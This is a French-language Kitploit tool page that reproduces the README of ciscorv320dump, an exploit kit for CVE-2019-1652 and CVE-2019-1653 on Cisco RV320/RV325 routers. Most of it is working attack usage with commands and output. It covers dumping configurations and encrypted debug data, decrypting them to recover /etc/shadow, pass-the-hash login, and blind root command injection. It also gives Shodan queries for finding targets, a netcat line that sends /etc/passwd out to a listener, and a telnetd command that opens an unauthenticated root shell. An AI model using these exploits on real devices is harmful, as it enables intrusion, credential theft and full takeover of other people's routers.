Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/0x27/ciscorv320dump
ReconnaissanceAttaques de Mots de PasseAnalyse des VulnérabilitésExploitationExploitation d'Applications WebAudit de Configuration
GitHub0x27/ciscorv320dump

CiscoRV320Dump

CVE-2019-1652 /CVE-2019-1653 Exploits pour vider les configurations Cisco RV320 & les données de débogage ET exploit racine à distance !

Voir le dépôt
2286411il y a 7 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CiscoRV320Dump

Exploits CVE-2019-1653/CVE-2019-1652 pour extraire les configurations des Cisco RV320 et obtenir une RCE

Implémentations des exploits CVE-2019-1652 et CVE-2019-1653 divulgués par Red Team Pentesting GmbH.

Je n'ai testé que sur un RV320, mais selon l'avis Cisco, le RV325 est également vulnérable.

Les requêtes Shodan suivantes semblent les trouver, si vous êtes curieux de savoir combien il y en a. Il semble y en avoir pas mal...
ssl:RV320
ssl:RV325
port:161 RV325
port:161 RV320

Les vulnérabilités permettent ce qui suit :

  • Extraire le fichier de configuration (en clair) ! (inclut les hashs pour l'interface web !)
  • Extraire les fichiers de diagnostic/débogage (chiffrés) ! (inclut la configuration, ainsi que les répertoires /etc et /var)
  • Déchiffrer les fichiers de diagnostic/débogage chiffrés ! (oui, vous obtenez /etc/shadow !)
  • Injection de commande à distance post-authentification en tant que root dans l'interface web !

En passant, les identifiants par défaut sont cisco:cisco.

Exploits...

Exploit de vidage de configuration...

Pour l'exploit de vidage de configuration, il suffit de définir la cible, le port, le SSL (activé/désactivé) et le répertoire de sortie. Il y déversera la configuration.

$ python dump_config.py -t x.x.x.x -p 8443 -s -d output
{+} Envoi de la requête vers https://x.x.x.x:8443/cgi-bin/config.exp
{*} Une configuration valide semble avoir été trouvée ! Écriture dans output/x.x.x.x_8443.conf
$

Exploit de vidage des données de débogage...

Pour l'exploit de vidage des données de débogage, c'est la même procédure, mais les données extraites sont plus volumineuses et chiffrées. Vous voudrez les déchiffrer à l'aide du script "decrypt.sh" fourni, ou manuellement avec openssl. Cela vous donnera un fichier tar. La sortie de débogage vous donne non seulement la configuration, mais aussi des sauvegardes de /etc et /var, et oui, le fichier /etc/shadow est présent. Je réécrirai un jour le script de déchiffrement en Python, mais c'était un bricolage rapide.

$ python dump_debug.py -t x.x.x.x -p 8443 -s -d output
{+} Envoi de la requête vers https://x.x.x.x:8443/cgi-bin/export_debug_msg.exp
{*} Une configuration chiffrée valide semble avoir été trouvée ! Écriture dans output/x.x.x.x_8443.enc
$ ./decrypt.sh output/x.x.x.x_8443.enc 
Script de déchiffrement des données de débogage chiffrées Cisco !
{+} Déchiffrement de output/x.x.x.x_8443.enc
{+} Le texte en clair devrait être dans output/x.x.x.x_8443.enc.decrypted.tar.gz...
$ 

En utilisant les identifiants que vous obtenez à partir de ces fichiers (hachés), vous pouvez ensuite exploiter CVE-2019-1652 pour exécuter des commandes sur l'appareil.

Quelques notes sur le « hachage » du mot de passe, avant d'aller plus loin. Sur ces appareils, dans le fichier de configuration, vous trouverez une variable nommée PASSWD suivie d'un hash md5. Ce hash md5 est md5($password.$auth_key), où auth_key est une valeur statique que vous pouvez trouver en faisant un GET / et en l'analysant. Il y en a une apparemment courante que j'ai codée en dur dans l'exploit RCE comme solution de secours au cas où la regex dégueulasse d'analyse de page échoue.

Exploit RCE post-authentification

CVE-2019-1652 décrit une vulnérabilité triviale d'injection de commande shell, nécessitant une authentification. exec_cmd.py implémente cela, en supposant que vous ayez des identifiants valides. « cisco:cisco » est le défaut, mais vous pouvez aussi casser quelques hashs.

L'injection de commande est aveugle, donc vous n'aurez aucun retour. L'environnement est une configuration Busybox extrêmement limitée avec un netcat très réduit, et les boîtiers sont en mips64, donc je n'ai pas pris la peine d'écrire un exploit de reverse shell cette fois. Vous pouvez toutefois obtenir le résultat d'une commande en faisant par exemple cat /etc/passwd | nc HOST PORT avec un listener en écoute, ou autre chose.

Vous pouvez aussi injecter une commande comme telnetd -l /bin/sh -p 1337 et vous connecter au service telnet résultant, qui vous donnera un joli shell root sans authentification.

Exemple d'exécution de l'exploit ci-dessous :

$ python exec_cmd.py -t x.x.x.x -s -p 8443 -U cisco -P cisco -c "cat /etc/passwd | nc x.x.x.x 1337"
{+} Envoi de la requête vers https://x.x.x.x:8443/ pour extraire la clé d'auth...
{*} Valeur de auth_key obtenue : 1964300002
{+} Connexion réussie, nous pouvons continuer !
{+} OK, maintenant exécution de votre commande : cat /etc/passwd | nc x.x.x.x 1337
{+} Nous n'obtenons pas de sortie donc... Oui. C'est aveugle.
$
# sur le listener...
$ nc -lp 1337
root:x:0:0:root:/:/bin/admin
nobody:x:0:0:nobody:/nonexistent:/bin/false
_lldpd:x:501:501:_lldpd:/:/bin/sh
cisco:x:0:0:root:/bin:/bin/admin

$

Exploit « Package complet »

Parce que Cisco, vous pouvez en fait passer le hash que vous extrayez et obtenir une session connectée. Nous avons donc écrit un exploit qui extrait le hash et le transmet. Celui-ci s'appelle easy_access.py. Parce que le chemin des binaires CGI contient un dossier nommé « EasyAccess ».

Exemple d'exécution de EasyAccess ci-dessous...

$ python easy_access.py -t x.x.x.x -p 8443 -s -c "telnetd -l /bin/sh -p 1337"
{+} On va aller chercher un fichier de configuration...
{+} Envoi de la requête vers https://x.x.x.x:8443/cgi-bin/config.exp
{*} Une configuration valide semble avoir été trouvée !
{+} Extraction des identifiants...
{+} Utilisateur obtenu : cisco
{+} Mot de passe (hash) obtenu : [redacted]
{+} Envoi de la requête vers https://x.x.x.x:8443/ pour extraire la clé d'auth...
{*} Valeur de auth_key obtenue : 1964300002
{+} Connexion réussie, nous pouvons continuer !
{+} OK, maintenant exécution de votre commande : telnetd -l /bin/sh -p 1337
{+} Nous n'obtenons pas de sortie donc... Oui. C'est aveugle.

$ telnet x.x.x.x 1337
<snip>
BusyBox v1.2.1 (2017.10.30-07:33+0000) Shell intégré (ash)
Entrez 'help' pour la liste des commandes intégrées.

~ # id
uid=0(root) gid=99(nobody)
~ # 

Amusez-vous bien les enfants.

Télécharger l’outil